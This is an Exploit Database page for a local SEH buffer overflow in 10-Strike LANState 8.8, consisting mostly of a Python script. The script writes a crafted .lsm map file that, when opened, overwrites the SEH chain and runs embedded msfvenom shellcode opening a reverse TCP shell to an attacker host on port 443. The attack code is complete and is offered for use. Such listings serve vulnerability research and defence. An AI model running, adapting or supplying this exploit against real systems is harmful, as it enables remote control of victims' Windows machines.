

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

10-Strike LANState 8.8 - Local Buffer Overflow (SEH)

EDB-ID:

45086

CVE:

N/A

EDB Verified: ✗**Author:**[ABSOLOMB](#)**Type:**[LOCAL](#)**Exploit:** / **Cookiebot**
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
# Exploit Title: 10-Strike LANState 8.8 - Local Buffer Overflow (SEH)
# Date: 2018-07-24
# Exploit Author: absolomb
# Vendor Homepage: https://www.10-strike.com/products.shtml
# Software Link: https://www.10-strike.com/lanstate/download.shtml
# Version 8.8
# Tested on: Windows 7 SP 1 x86

# Open LANState, File -> Open, browse to generated lsm file, boom shell.
# If it doesn't work first try, close the tab at the bottom and reopen the
file

#!/usr/bin/python

lsm = ""[VERSION INFO]
PROG_NAME=LANState
PROG_VER=8.85
MAP_VER=8.3
MAPID=584636991

[OBJECT#4]
index=4
ObjName=
```


Cookiebot
 by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
OBJ_ID=1
TYPE_ID=2
IP=
REMOTE_NAME=A
MAP_NAME=
MAC_ADDR=
OS=
SNMPAgent=0
SNMPVer=1
SNMPuname=
SNMPPassw=
SNMPPrivPassw=
SNMPSecLevel=0
SNMPAuthType=0
SNMPPrivType=0
Community=
ALWAYS_ON=0
ImageEnabled=0
ImageFile=
IPList=
CurrentUser=
DESCRIPT=
CheckInterval=60
DownTime1=0
DownTime1Start=12:00:00 AM
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```

DnTime1Finish=12:00:00 AM
DnTime2=0
DnTime2Start=12:00:00 AM
DnTime2Finish=12:00:00 AM
DnTime3=0
DnTime3Start=12:00:00 AM
DnTime3Finish=12:00:00 AM
DnTime4=0
DnTime4Start=12:00:00 AM
DnTime4Finish=12:00:00 AM
DnTime5=0
DnTime5Start=12:00:00 AM
DnTime5Finish=12:00:00 AM
DnTime6=0
DnTime6Start=12:00:00 AM
DnTime6Finish=12:00:00 AM
DnTime7=0
DnTime7Start=12:00:00 AM
DnTime7Finish=12:00:00 AM
DTDoNotAlert=1
RunFirstOnly=0
FirstIsPassed=1
CHECK#0/HostAddr={0}
CHECK#0/CID=1
CHECK#0/NumRetries=1

```


Cookiebot
 by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```

ImgAutoSize=1
ScaleFactor=1
ScrollX=0
ScrollY=0
BkgroundColor=16777215
FontName=Arial
FontColor=-16777208
FontSize=8
FontCharset=1
FontStyle=0
Gradient=0
Color1=15780518
Color2=16777215
WebUseSmallIcons=0
CurIconSize=32
LockAreas=0
LockLines=0
LockHosts=0
WindowState=2
WindowTop=-10
WindowsLeft=12
WindowWidth=800
WindowsHeight=600

```

```

"""

```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.47.128 LPORT=443 -e
x86/alpha_mixed BufferRegister=EDI -f python -v shellcode
shellcode = ""
shellcode += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x49\x6c\x6b\x58\x4f\x72\x57\x70"
shellcode += "\x47\x70\x77\x70\x75\x30\x6c\x49\x69\x75\x45\x61"
shellcode += "\x4b\x70\x71\x74\x4c\x4b\x62\x70\x64\x70\x4e\x6b"
shellcode += "\x62\x72\x54\x4c\x6e\x6b\x71\x42\x65\x44\x4c\x4b"
shellcode += "\x70\x72\x34\x68\x64\x4f\x4d\x67\x62\x6a\x76\x46"
shellcode += "\x56\x51\x79\x6f\x6e\x4c\x65\x6c\x75\x31\x71\x6c"
shellcode += "\x44\x42\x74\x6c\x61\x30\x59\x51\x7a\x6f\x64\x4d"
shellcode += "\x47\x71\x58\x47\x49\x72\x6a\x52\x66\x32\x62\x77"
shellcode += "\x6e\x6b\x50\x52\x56\x70\x6e\x6b\x53\x7a\x77\x4c"
shellcode += "\x4c\x4b\x50\x4c\x46\x71\x73\x48\x38\x63\x62\x68"
shellcode += "\x37\x71\x78\x51\x30\x51\x6e\x6b\x73\x69\x75\x70"
shellcode += "\x67\x71\x78\x53\x4e\x6b\x77\x39\x64\x58\x68\x63"
shellcode += "\x75\x6a\x37\x39\x4c\x4b\x55\x64\x4e\x6b\x35\x51"
shellcode += "\x6a\x76\x74\x71\x6b\x4f\x6c\x6c\x6f\x31\x7a\x6f"
shellcode += "\x56\x6d\x75\x51\x4a\x67\x75\x68\x4d\x30\x30\x75"
shellcode += "\x78\x76\x43\x33\x53\x4d\x68\x78\x37\x4b\x61\x6d"
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
shellcode += "\x62\x54\x34\x4c\x39\x6f\x50\x4e\x77\x78\x62\x55"
shellcode += "\x78\x6c\x53\x58\x48\x70\x4c\x75\x39\x32\x76\x36"
shellcode += "\x59\x6f\x58\x55\x70\x68\x53\x53\x52\x4d\x62\x44"
shellcode += "\x43\x30\x4e\x69\x6a\x43\x71\x47\x71\x47\x61\x47"
shellcode += "\x64\x71\x39\x66\x50\x6a\x34\x52\x33\x69\x42\x76"
shellcode += "\x38\x62\x4b\x4d\x51\x76\x4a\x67\x51\x54\x75\x74"
shellcode += "\x47\x4c\x56\x61\x46\x61\x6c\x4d\x37\x34\x57\x54"
shellcode += "\x54\x50\x7a\x66\x65\x50\x42\x64\x50\x54\x52\x70"
shellcode += "\x73\x66\x71\x46\x31\x46\x37\x36\x32\x76\x42\x6e"
shellcode += "\x33\x66\x71\x46\x62\x73\x61\x46\x32\x48\x50\x79"
shellcode += "\x38\x4c\x45\x6f\x4d\x56\x6b\x4f\x79\x45\x4f\x79"
shellcode += "\x49\x70\x52\x6e\x62\x76\x37\x36\x4b\x4f\x34\x70"
shellcode += "\x65\x38\x57\x78\x6e\x67\x65\x4d\x35\x30\x69\x6f"
shellcode += "\x58\x55\x4d\x6b\x5a\x50\x4f\x45\x69\x32\x33\x66"
shellcode += "\x42\x48\x6d\x76\x6c\x55\x4d\x6d\x4f\x6d\x49\x6f"
shellcode += "\x4a\x75\x75\x6c\x43\x36\x63\x4c\x67\x7a\x6f\x70"
shellcode += "\x6b\x4b\x6b\x50\x43\x45\x56\x65\x6f\x4b\x43\x77"
shellcode += "\x62\x33\x73\x42\x72\x4f\x33\x5a\x55\x50\x63\x63"
shellcode += "\x79\x6f\x6e\x35\x41\x41"
```

```
align_stack = '\x58' # POP EAX
align_stack += '\x58' # POP EAX
align_stack += '\x05\x61\x55\x55\x55' # ADD EAX, 55555561
align_stack += '\x05\x61\x55\x55\x55' # ADD EAX, 55555561
```

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS

```
align_stack += '\x05\x62\x56\x55\x55' # ADD EAX,55555662
align_stack += '\x50' # PUSH EAX
align_stack += '\x5f' # POP EDI

# JMP always true
nseh = '\x71\x06\x70\x04'

#01BA7647 POP POP RET LANState.exe
seh = '\x47\x76\xba\x01'

payload = '\x41' * 235
payload += nseh
payload += seh
payload += align_stack
payload += '\x41' * 265
payload += shellcode
payload += '\x41' * (3492 - len(shellcode + align_stack))

buffer = lsm.format(payload)

file = open('sploit.lsm','w')
print "Size: " + str(len(payload)) + " bytes"
file.write(buffer)
file.close()
print "Map file created!"
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

[OffSec Services Limited](#) 2026. All rights reserved.